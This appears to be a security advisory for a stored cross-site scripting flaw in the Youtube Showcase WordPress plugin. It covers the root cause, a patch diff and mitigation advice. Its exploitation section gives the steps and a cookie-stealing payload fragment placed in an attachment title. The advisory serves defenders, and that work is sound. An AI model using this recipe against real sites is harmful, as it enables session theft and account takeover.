What is CVE-2026-15790?

CVE-2026-15790 is a Stored Cross-Site Scripting (XSS) vulnerability in the Youtube Showcase plugin for WordPress, affecting versions up to and including 4.0.4. It allows authenticated users with author-level access to inject arbitrary scripts via the emd_mb_meta shortcode, which execute when any user views the affected page.

How does the vulnerability work?

The vulnerability occurs because the emd_mb_meta shortcode outputs attachment titles without proper escaping. Specifically, the EMD_MB_Helper::image_info() function returns the raw post_title of an attachment, and the shortcode interpolates it into HTML title attributes using sprintf() without esc_attr(). This allows an attacker to inject malicious scripts through the attachment title.

Who is affected by this vulnerability?

WordPress sites running Youtube Showcase version 4.0.4 or earlier are affected. The attack requires an authenticated user with at least author-level access, who has the upload_files capability to create attachments and the ability to embed shortcodes in posts or pages. This typically includes authors and above.

How can I check if my site is vulnerable?

Check the installed version of the Youtube Showcase plugin in the WordPress admin under Plugins. If the version is 4.0.4 or lower, the site is vulnerable. Additionally, review any posts or pages that use the emd_mb_meta shortcode, especially those created by authors, for suspicious attachment titles containing script tags or event handlers.

What is the CVSS score and what does it mean?

The CVSS score is 6.4, which is rated as Medium severity. This indicates that the vulnerability requires an authenticated attacker with author-level access and user interaction (a victim viewing the page). The impact includes potential session hijacking, defacement, or administrative account takeover if an admin views the compromised page.

How was the vulnerability patched?

The patch in version 4.0.5 adds output escaping to the vulnerable sprintf() calls in helpers.php. It wraps URLs with esc_url(), titles and alt attributes with esc_attr(), and names with esc_html(). This ensures that any HTML special characters in attachment titles are encoded, preventing script injection.

How do I fix or mitigate the issue?

The immediate fix is to update the Youtube Showcase plugin to version 4.0.5 or later, which contains the patch. As a temporary mitigation, you can restrict author-level users from uploading files or using the emd_mb_meta shortcode, but updating is the recommended solution.

What is the proof of concept (PoC) and how does it demonstrate the issue?

The PoC provided by Atomic Edge demonstrates the attack by logging in as an author, uploading an image with a malicious title, and then embedding the emd_mb_meta shortcode in a post. When the post is viewed, the script executes. This shows how an attacker can exploit the lack of output escaping.

What are the prerequisites for exploiting this vulnerability?

The attacker must have an authenticated account with at least author-level permissions, which includes the upload_files capability to create attachments and the ability to publish posts or pages. They also need to know how to use the shortcode and have access to the WordPress admin interface.

What is the root cause of this vulnerability?

The root cause is insufficient output escaping in the EMD_MB_Helper::shortcode() function. It directly outputs attachment titles and other data into HTML attributes without using esc_attr() or similar escaping functions. This allows malicious input to be interpreted as HTML or JavaScript.

Are there any other affected components?

The vulnerability is specifically in the emd_mb_meta shortcode within the Youtube Showcase plugin. The patch also includes minor changes to the filepicker upload script, but the core issue is in the helpers.php file. No other plugins or WordPress core are affected.

What should I do if I suspect my site has been compromised?

If you suspect exploitation, immediately update the plugin to 4.0.5, scan your site for malicious content, and review posts and pages for unauthorized shortcodes or suspicious attachment titles. Also, consider resetting user passwords and auditing user roles to ensure no unauthorized author-level accounts exist.

Published : August 15, 2026

CVE-2026-15790: Video Gallery <= 4.0.4 Authenticated (Author+) Stored Cross-Site Scripting via Attachment 'post_title' via emd_mb_meta Shortcode PoC, Patch Analysis & Rule

CVE ID CVE-2026-15790

Plugin youtube-showcase

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 4.0.4

Patched Version 4.0.5

Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15790: The Youtube Showcase plugin for WordPress (versions up to and including 4.0.4) contains a Stored Cross-Site Scripting (XSS) vulnerability in the emd_mb_meta shortcode. An attacker with author-level access can inject arbitrary scripts through the attachment title (post_title) by exploiting insufficient output escaping. This flaw allows script execution when any user views an affected page, with a CVSS score of 6.4 (Medium).

Root Cause: The vulnerable code resides in /youtube-showcase/assets/ext/emd-meta-box/inc/helpers.php. The function EMD_MB_Helper::image_info() retrieves an attachment’s raw post_title without sanitization, and EMD_MB_Helper::shortcode() then interpolates this value into HTML title attributes via sprintf() without esc_attr(). The pre-patch code directly outputs $file[‘title’] and $image[‘title’] in title=”%s” attributes. No input sanitization or output escaping exists for these fields. Specifically, the vulnerable sprintf calls appear at lines 51-56 (file list), lines 76-80 (image with link), and lines 90-94 (standalone image). The shortcode is registered for the emd_mb_meta tag and processes user-supplied attributes.

Exploitation: An attacker with author-level access (having upload_files capability) first uploads an image, setting the attachment title (post_title) to a malicious payload like “>alert(document.cookie) or a similar XSS vector. The attacker then creates or edits a post or page, inserting the emd_mb_meta shortcode with an appropriate image field parameter that references this attachment (e.g., [emd_mb_meta name=”image” …]). When the page renders, the shortcode output includes the title attribute unescaped, causing the script to execute in the visitor’s browser. The attack requires no privileged access beyond author-level; it exploits the trust WordPress places in attachment titles. The attacker can use the standard WordPress admin media upload flow and the block or classic editor to inject the shortcode.

Patch Analysis: The patch modifies helpers.php to add output escaping on all interpolated values within the sprintf() calls. For the file list (lines 51-56), it wraps $file[‘url’] with esc_url(), $file[‘title’] with esc_attr(), and $file[‘name’] with esc_html(). For image display (lines 76-80 and 90-94), it applies esc_url() to URLs and esc_attr() to title and alt attributes. These changes ensure that HTML special characters in the title and alt values are encoded, preventing script injection. The patch does not modify the input handling; it solely fixes the output escaping, which is the correct approach for Stored XSS. After the patch, the shortcode renders safe HTML entities for any malicious characters.

Impact: Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, theft of authentication cookies, defacement, credential harvesting, or administrative account takeover if an admin views the page. The scope is limited to pages where the attacker can embed the shortcode, but with author-level access, an attacker can publish content, making the attack likely to reach other users. The CVSS score of 6.4 reflects the medium severity due to the need for an authenticated author role and user interaction (page view).

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/youtube-showcase/assets/ext/emd-meta-box/inc/helpers.php
+++ b/youtube-showcase/assets/ext/emd-meta-box/inc/helpers.php
@@ -51,9 +51,9 @@
 				{
 					$content .= sprintf(
 						'<li><a href="%s" title="%s">%s</a></li>',
-						$file['url'],
-						$file['title'],
-						$file['name']
+						esc_url($file['url']),
+						esc_attr($file['title']),
+						esc_html($file['name'])
 					);
 				}
 				$content .= '</ul>';
@@ -70,20 +70,20 @@
 					{
 						$content .= sprintf(
 							'<li><a href="%s" title="%s"><img src="%s" alt="%s" title="%s" /></a></li>',
-							$image['full_url'],
-							$image['title'],
-							$image['url'],
-							$image['alt'],
-							$image['title']
+							esc_url($image['full_url']),
+							esc_attr($image['title']),
+							esc_url($image['url']),
+							esc_attr($image['alt']),
+							esc_attr($image['title'])
 						);
 					}
 					else
 					{
 						$content .= sprintf(
 							'<li><img src="%s" alt="%s" title="%s" /></li>',
-							$image['url'],
-							$image['alt'],
-							$image['title']
+							esc_url($image['url']),
+							esc_attr($image['alt']),
+							esc_attr($image['title'])
 						);
 					}
 				}
@@ -98,9 +98,9 @@
 				{
 					$content .= sprintf(
 						'<li><a href="%s" title="%s">%s</a></li>',
-						get_term_link( $term, $atts['taxonomy'] ),
-						$term->name,
-						$term->name
+						esc_url(get_term_link( $term, $atts['taxonomy'] )),
+						esc_attr($term->name),
+						esc_html($term->name)
 					);
 				}
 				$content .= '</ul>';
@@ -319,9 +319,9 @@

 			$html = sprintf(
 				'<div id="emd-mb-map-canvas-%d" style="width:%s;height:%s"></div>',
-				$counter,
-				$args['width'],
-				$args['height']
+				esc_attr($counter),
+				esc_attr($args['width']),
+				esc_attr($args['height'])
 			);

 			// Load Google Maps script only when needed
--- a/youtube-showcase/assets/ext/filepicker/upload.php
+++ b/youtube-showcase/assets/ext/filepicker/upload.php
@@ -26,7 +26,7 @@
 			'min_width' => __('Image requires a minimum width','youtube-showcase'),
 			'max_height' => __('Image exceeds maximum height','youtube-showcase'),
 			'min_height' => __('Image requires a minimum height','youtube-showcase')
-			);
+		);

 		if (!empty($_FILES) && isset($_FILES['file'])) {
 			$upload_file = 0;
@@ -39,61 +39,61 @@
 				$fileTypes_arr = is_array($fileTypes) ? $fileTypes : explode(",", $fileTypes);
 			}
 			$fileTypes_arr = array_map('trim', $fileTypes_arr);
-                        $fileTypes_arr = array_map('strtolower', $fileTypes_arr);
+			$fileTypes_arr = array_map('strtolower', $fileTypes_arr);

-                        $original_name = $_FILES['file']['name'];
-                        $fileParts = pathinfo($original_name);
-                        $file_ext = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
+			$original_name = $_FILES['file']['name'];
+			$fileParts = pathinfo($original_name);
+			$file_ext = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';

 			if (empty($file_ext) || !in_array($file_ext, $fileTypes_arr, true)) {
-                                echo esc_html__('Invalid file type.', 'youtube-showcase');
-                                return; // Halt execution immediately
-                        }
-                        if (strpos(strtolower($original_name), '.php') !== false) {
-                                echo esc_html__('Invalid file type signature.', 'youtube-showcase');
-                                return;
+				echo esc_html__('Invalid file type.', 'youtube-showcase');
+				return; // Halt execution immediately
+			}
+			if (strpos(strtolower($original_name), '.php') !== false) {
+				echo esc_html__('Invalid file type signature.', 'youtube-showcase');
+				return;
 			}
 			// If it survives all checks above, flag it as safe to upload
-                        $upload_file = 1;
+			$upload_file = 1;
+
+			if ($upload_file === 1) {
+				// Sanitize the file name inside the $_FILES array before WordPress touches it
+				$_FILES['file']['name'] = sanitize_file_name($original_name);
+
+				$file = wp_handle_upload($_FILES['file'], array('test_form' => false));
+
+				if (isset($file['error'])) {
+					echo esc_html($file['error']);
+				} else {
+					$_FILES['file']['path'] = $file['file'];

-                        if ($upload_file === 1) {
-                                // Sanitize the file name inside the $_FILES array before WordPress touches it
-                                $_FILES['file']['name'] = sanitize_file_name($original_name);
-
-                                $file = wp_handle_upload($_FILES['file'], array('test_form' => false));
-
-                                if (isset($file['error'])) {
-                                        echo esc_html($file['error']);
-                                } else {
-                                        $_FILES['file']['path'] = $file['file'];
-
 					if (!empty($myapp)) {
-                                                $new_sess_files = array();
+						$new_sess_files = array();

-                                                // Sanitize $myapp dynamically to prevent arbitrary class instantiation attacks
-                                                $clean_myapp = preg_replace('/[^a-zA-Z0-9_-]/', '', $myapp);
-                                                $sess_name = strtoupper($clean_myapp);
-
-                                                if (function_exists($sess_name)) {
-                                                        $session_class = $sess_name();
-                                                        $sess_files = $session_class->session->get('uploads');
-
-                                                        if (!empty($sess_files) && is_array($sess_files)) {
-                                                            $new_sess_files = $sess_files;
-                                                        }
-
-                                                        if (empty($sess_files[$fieldid])) {
-                                                            $new_sess_files[$fieldid][] = $_FILES['file'];
-                                                        } elseif (is_array($sess_files[$fieldid])) {
-                                                            $new_sess_files[$fieldid] = $sess_files[$fieldid];
-                                                            $new_sess_files[$fieldid][] = $_FILES['file'];
-                                                        }
-
-                                                        $session_class->session->set('uploads', $new_sess_files);
-                                                }
-                                        }
-                                        echo '1';
-                                }
+						// Sanitize $myapp dynamically to prevent arbitrary class instantiation attacks
+						$clean_myapp = preg_replace('/[^a-zA-Z0-9_-]/', '', $myapp);
+						$sess_name = strtoupper($clean_myapp);
+
+						if (function_exists($sess_name)) {
+							$session_class = $sess_name();
+							$sess_files = $session_class->session->get('uploads');
+
+							if (!empty($sess_files) && is_array($sess_files)) {
+								$new_sess_files = $sess_files;
+							}
+
+							if (empty($sess_files[$fieldid])) {
+								$new_sess_files[$fieldid][] = $_FILES['file'];
+							} elseif (is_array($sess_files[$fieldid])) {
+								$new_sess_files[$fieldid] = $sess_files[$fieldid];
+								$new_sess_files[$fieldid][] = $_FILES['file'];
+							}
+
+							$session_class->session->set('uploads', $new_sess_files);
+						}
+					}
+					echo '1';
+				}
 			}
 		}
 	}
--- a/youtube-showcase/includes/admin/getting-started.php
+++ b/youtube-showcase/includes/admin/getting-started.php
@@ -180,7 +180,7 @@
 <p class="about-text">
 <?php printf(__("YouTube Showcase is a powerful but simple-to-use YouTube video gallery plugin with responsive frontend.", 'youtube-showcase') , $display_version); ?>
 </p>
-<div style="display: inline-block;"><a style="height: 50px; background:#ff8484;padding:10px 12px;color:#ffffff;text-align: center;font-weight: bold;line-height: 50px; font-family: Arial;border-radius: 6px; text-decoration: none;" href="https://emdplugins.com/plugin-pricing/youtube-showcase-wordpress-plugin-pricing/?pk_campaign=youtube-showcase-upgradebtn&pk_kwd=youtube-showcase-resources"><?php printf(__('Upgrade Now', 'youtube-showcase') , $display_version); ?></a></div>
+<div style="display: inline-block;"><a style="height: 50px; background:#ff8484;padding:10px 12px;color:#ffffff;text-align: center;font-weight: bold;line-height: 50px; font-family: Arial;border-radius: 6px; text-decoration: none;" href="https://emdplugins.com/youtube-showcase/pricing/?pk_campaign=youtube-showcase-upgradebtn&pk_kwd=youtube-showcase-resources"><?php printf(__('Upgrade Now', 'youtube-showcase') , $display_version); ?></a></div>
 <div style="display: inline-block;margin-bottom: 20px;"><a style="height: 50px; background:#f0ad4e;padding:10px 12px;color:#ffffff;text-align: center;font-weight: bold;line-height: 50px; font-family: Arial;border-radius: 6px; text-decoration: none;" href="https://ytshowcase.emdplugins.com//?pk_campaign=youtube-showcase-buybtn&pk_kwd=youtube-showcase-resources"><?php printf(__('Visit Pro Demo Site', 'youtube-showcase') , $display_version); ?></a></div>
 <?php
 	$tabs['getting-started'] = __('Getting Started', 'youtube-showcase');
@@ -232,14 +232,14 @@
     text-decoration: none;
     color: white;
     margin: 10px 0;
-    display: inline-block;" href="https://emdplugins.com/expert-service-pricing/?pk_campaign=youtube-showcase-gettingstarted&pk_kwd=youtube-showcase-livedemo">Purchase Work Order</a></p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-237"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">Need Help?</div><div class="changelog emd-section getting-started-237" style="margin:0;background-color:white;padding:10px"><div id="gallery"></div><div class="sec-desc"><p>There are many resources available in case you need help:</p>
+    display: inline-block;" href="https://support.emdplugins.com/expert-service-pricing/?pk_campaign=youtube-showcase-gettingstarted&pk_kwd=youtube-showcase-livedemo">Purchase Work Order</a></p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-237"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">Need Help?</div><div class="changelog emd-section getting-started-237" style="margin:0;background-color:white;padding:10px"><div id="gallery"></div><div class="sec-desc"><p>There are many resources available in case you need help:</p>
 <ul>
-<li>Search our <a target="_blank" href="https://emdplugins.com/support">knowledge base</a></li>
-<li><a href="https://emdplugins.com/kb_tags/youtube-showcase" target="_blank">Browse our YouTube Showcase Community articles</a></li>
+<li>Search our <a target="_blank" href="https://support.emdplugins.com">knowledge base</a></li>
+<li><a href="https://support.emdplugins.com/kb_tags/youtube-showcase" target="_blank">Browse our YouTube Showcase Community articles</a></li>
 <li><a href="https://docs.emdplugins.com/docs/youtube-showcase-community-documentation" target="_blank">Check out YouTube Showcase Community documentation for step by step instructions.</a></li>
-<li><a href="https://emdplugins.com/emdplugins-support-introduction/" target="_blank">Open a support ticket if you still could not find the answer to your question</a></li>
+<li><a href="https://support.emdplugins.com/emdplugins-support-introduction/" target="_blank">Open a support ticket if you still could not find the answer to your question</a></li>
 </ul>
-<p>Please read <a href="https://emdplugins.com/questions/what-to-write-on-a-support-ticket-related-to-a-technical-issue/" target="_blank">"What to write to report a technical issue"</a> before submitting a support ticket.</p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-238"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">Learn More</div><div class="changelog emd-section getting-started-238" style="margin:0;background-color:white;padding:10px"><div id="gallery"></div><div class="sec-desc"><p>The following articles provide step by step instructions on various concepts covered in YouTube Showcase Community.</p>
+<p>Please read <a href="https://support.emdplugins.com/questions/what-to-write-on-a-support-ticket-related-to-a-technical-issue/" target="_blank">"What to write to report a technical issue"</a> before submitting a support ticket.</p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-238"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">Learn More</div><div class="changelog emd-section getting-started-238" style="margin:0;background-color:white;padding:10px"><div id="gallery"></div><div class="sec-desc"><p>The following articles provide step by step instructions on various concepts covered in YouTube Showcase Community.</p>
 <ul><li>
 <a target="_blank" href="https://docs.emdplugins.com/docs/youtube-showcase-community-documentation/#article208">Concepts</a>
 </li>
@@ -297,7 +297,7 @@
     text-decoration: none;
     color: white;
     margin: 10px 0;
-    display: inline-block;" href="https://emdplugins.com/expert-service-pricing/?pk_campaign=youtube-showcase-gettingstarted&pk_kwd=youtube-showcase-livedemo">Purchase Work Order</a></p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-175"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">Introduction to YouTube Showcase</div><div class="changelog emd-section getting-started-175" style="margin:0;background-color:white;padding:10px"><div class="emd-yt" data-youtube-id="8MtOJaKQZKQ" data-ratio="16:9">loading...</div><div class="sec-desc"><p>Get started with YouTube Showcase. This video introduces YouTube Showcase based on the most common use cases. You will learn how to create and display your videos as well as the options available to have successful YouTube video site.</p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-5"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">How to find your YouTube Video ID</div><div class="changelog emd-section getting-started-5" style="margin:0;background-color:white;padding:10px"><div id="gallery"><div class="sec-img gallery-item"><a class="thickbox tooltip" rel="gallery-5" href="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_id_large.png"; ?>"><img src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_id_540.png"; ?>"></a></div></div><div class="sec-desc"><p>It is very simple to find your YouTube video ID. First, go to the YouTube webpage. Look at the URL of that page, and at the end of it, you should see a combination of numbers and letters after an equal sign (=). This is the code you need to enter into the video key field.</p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-6"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">Using Setup assistant</div><div class="changelog emd-section getting-started-6" style="margin:0;background-color:white;padding:10px"><div id="gallery"><div class="sec-img gallery-item"><a class="thickbox tooltip" rel="gallery-6" href="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_gallery_large.png"; ?>"><img src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_gallery_540.png"; ?>"></a></div></div><div class="sec-desc"><p>Setup assistant creates the gallery pages automatically.</p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-3"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">How to create your first video</div><div class="changelog emd-section getting-started-3" style="margin:0;background-color:white;padding:10px"><div id="gallery"><div class="sec-img gallery-item"><a class="thickbox tooltip" rel="gallery-3" href="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_edit_large.png"; ?>"><img src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_edit_540.png"; ?>"></a></div></div><div class="sec-desc"><ol>
+    display: inline-block;" href="https://support.emdplugins.com/expert-service-pricing/?pk_campaign=youtube-showcase-gettingstarted&pk_kwd=youtube-showcase-livedemo">Purchase Work Order</a></p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-175"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">Introduction to YouTube Showcase</div><div class="changelog emd-section getting-started-175" style="margin:0;background-color:white;padding:10px"><div class="emd-yt" data-youtube-id="8MtOJaKQZKQ" data-ratio="16:9">loading...</div><div class="sec-desc"><p>Get started with YouTube Showcase. This video introduces YouTube Showcase based on the most common use cases. You will learn how to create and display your videos as well as the options available to have successful YouTube video site.</p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-5"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">How to find your YouTube Video ID</div><div class="changelog emd-section getting-started-5" style="margin:0;background-color:white;padding:10px"><div id="gallery"><div class="sec-img gallery-item"><a class="thickbox tooltip" rel="gallery-5" href="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_id_large.png"; ?>"><img src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_id_540.png"; ?>"></a></div></div><div class="sec-desc"><p>It is very simple to find your YouTube video ID. First, go to the YouTube webpage. Look at the URL of that page, and at the end of it, you should see a combination of numbers and letters after an equal sign (=). This is the code you need to enter into the video key field.</p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-6"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">Using Setup assistant</div><div class="changelog emd-section getting-started-6" style="margin:0;background-color:white;padding:10px"><div id="gallery"><div class="sec-img gallery-item"><a class="thickbox tooltip" rel="gallery-6" href="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_gallery_large.png"; ?>"><img src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_gallery_540.png"; ?>"></a></div></div><div class="sec-desc"><p>Setup assistant creates the gallery pages automatically.</p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-3"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">How to create your first video</div><div class="changelog emd-section getting-started-3" style="margin:0;background-color:white;padding:10px"><div id="gallery"><div class="sec-img gallery-item"><a class="thickbox tooltip" rel="gallery-3" href="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_edit_large.png"; ?>"><img src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_edit_540.png"; ?>"></a></div></div><div class="sec-desc"><ol>
   <li>Log in to your Administration Panel.</li>
   <li>Click the 'Videos' tab.</li>
   <li>Click the 'Add New' sub-tab or the “Add New” button in the video list page.</li>
@@ -307,16 +307,16 @@
   <li>After the submission is completed, the video status changes to "Published"</li>
 <li>Click on the permalink to see the video page</li>
 </ol></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-7"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">YouTube Showcase Pro WordPress plugin helps you keep more visitors on your site longer.</div><div class="changelog emd-section getting-started-7" style="margin:0;background-color:white;padding:10px"><div id="gallery"><div class="sec-img gallery-item"><a class="thickbox tooltip" rel="gallery-7" href="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/GetYouTubePro.png"; ?>"><img src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/GetYouTubePro.png"; ?>"></a></div></div><div class="sec-desc"><p>The most powerful and easy to use YouTube Video plugin for WordPress with enterprise features.</p>
-<div style="margin:25px"><a href="https://emdplugins.com/plugins/youtube-showcase-wordpress-plugin/?pk_campaign=ytscpro-buybtn&pk_kwd=ytsc-resources"><img style="width: 154px;" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/button_buy-now.png"; ?>"></a>
+<div style="margin:25px"><a href="https://emdplugins.com/youtube-showcase/?pk_campaign=ytscpro-buybtn&pk_kwd=ytsc-resources"><img style="width: 154px;" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/button_buy-now.png"; ?>"></a>
 </div></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-8"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">EMD CSV Import Export Extension allows getting your videos in and out of WordPress quickly</div><div class="changelog emd-section getting-started-8" style="margin:0;background-color:white;padding:10px"><div id="gallery"><div class="sec-img gallery-item"><a class="thickbox tooltip" rel="gallery-8" href="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_impexp.png"; ?>"><img src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/video_impexp.png"; ?>"></a></div></div><div class="sec-desc"><p>EMD CSV Import Export Extension helps bulk import, export, update video information from CSV files. You can also reset(delete) all data and start over again without modifying database.</p>
-<p><a href="https://emdplugins.com/plugin-features/youtube-showcase-importexport-addon/?pk_campaign=emdimpexp-buybtn&pk_kwd=ytsc-resources"><img style="width: 154px;" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/button_buy-now.png"; ?>"></a></p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-142"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">EMD Advanced Filters and Columns Extension for finding what's important faster</div><div class="changelog emd-section getting-started-142" style="margin:0;background-color:white;padding:10px"><div id="gallery"><div class="sec-img gallery-item"><a class="thickbox tooltip" rel="gallery-142" href="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/YouTubeShowCasePro_APM.png"; ?>"><img src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/YouTubeShowCasePro_APM.png"; ?>"></a></div></div><div class="sec-desc"><p>This extension is included in the pro edition.</p>
+<p><a href="https://emdplugins.com/youtube-showcase/addons/import-export/?pk_campaign=emdimpexp-buybtn&pk_kwd=ytsc-resources"><img style="width: 154px;" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/button_buy-now.png"; ?>"></a></p></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px"><div id="gs-sec-142"></div><div style="color:white;background:#0000003b;padding:5px 10px;font-size: 1.4em;font-weight: 600;">EMD Advanced Filters and Columns Extension for finding what's important faster</div><div class="changelog emd-section getting-started-142" style="margin:0;background-color:white;padding:10px"><div id="gallery"><div class="sec-img gallery-item"><a class="thickbox tooltip" rel="gallery-142" href="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/YouTubeShowCasePro_APM.png"; ?>"><img src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/YouTubeShowCasePro_APM.png"; ?>"></a></div></div><div class="sec-desc"><p>This extension is included in the pro edition.</p>
 <p>EMD Advanced Filters and Columns Extension for YouTube Showcase Community edition helps you:</p>
 <ul><li>Filter entries quickly to find what you're looking for</li>
 <li>Save your frequently used filters so you do not need to create them again</li>
 <li>Sort quote request columns to see what's important faster</li>
 <li>Change the display order of columns </li>
 <li>Enable or disable columns for better and cleaner look </li>
-<li>Export search results to PDF or CSV for custom reporting</li></ul><div style="margin:25px"><a href="https://emdplugins.com/plugin-features/youtube-showcase-smart-search-and-columns-addon/?pk_campaign=emd-afc-buybtn&pk_kwd=youtube-showcase-resources"><img style="width: 154px;" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/button_buy-now.png"; ?>"></a></div></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px">
+<li>Export search results to PDF or CSV for custom reporting</li></ul><div style="margin:25px"><a href="https://emdplugins.com/youtube-showcase/addons/smart-search/?pk_campaign=emd-afc-buybtn&pk_kwd=youtube-showcase-resources"><img style="width: 154px;" src="<?php echo YOUTUBE_SHOWCASE_PLUGIN_URL . "assets/img/button_buy-now.png"; ?>"></a></div></div></div><div style="margin-top:15px"><a href="#rtop" class="top">Go to top</a></div><hr style="margin-top:40px">

 <?php echo '</div>'; ?>
 <?php echo '<div class="tab-content" id="tab-release-notes"';
@@ -327,6 +327,21 @@
 ?>
 <p class="about-description">This page lists the release notes from every production version of YouTube Showcase Community.</p>

+<h3 style="font-size: 18px;font-weight:700;color: white;background: #708090;padding:5px 10px;width:155px;border: 2px solid #fff;border-radius:4px;text-align:center">4.0.5 changes</h3>
+<div class="wp-clearfix"><div class="changelog emd-section whats-new whats-new-1627" style="margin:0">
+<h3 style="font-size:18px;" class="fix"><div  style="font-size:110%;color:#c71585"><span class="dashicons dashicons-admin-tools"></span> FIX</div>
+XSS vulnerability for emd_mb_meta function.</h3>
+<div ></a></div></div></div><hr style="margin:30px 0">
+<h3 style="font-size: 18px;font-weight:700;color: white;background: #708090;padding:5px 10px;width:155px;border: 2px solid #fff;border-radius:4px;text-align:center">4.0.4 changes</h3>
+<div class="wp-clearfix"><div class="changelog emd-section whats-new whats-new-1627" style="margin:0">
+<h3 style="font-size:18px;" class="fix"><div  style="font-size:110%;color:#c71585"><span class="dashicons dashicons-admin-tools"></span> FIX</div>
+Function call vulnerability in the file deletion AJAX handler.</h3>
+<div ></a></div></div></div><hr style="margin:30px 0">
+<h3 style="font-size: 18px;font-weight:700;color: white;background: #708090;padding:5px 10px;width:155px;border: 2px solid #fff;border-radius:4px;text-align:center">4.0.3 changes</h3>
+<div class="wp-clearfix"><div class="changelog emd-section whats-new whats-new-1627" style="margin:0">
+<h3 style="font-size:18px;" class="fix"><div  style="font-size:110%;color:#c71585"><span class="dashicons dashicons-admin-tools"></span> FIX</div>
+Patched an unrestricted file upload vulnerability.</h3>
+<div ></a></div></div></div><hr style="margin:30px 0">
 <h3 style="font-size: 18px;font-weight:700;color: white;background: #708090;padding:5px 10px;width:155px;border: 2px solid #fff;border-radius:4px;text-align:center">4.0.2 changes</h3>
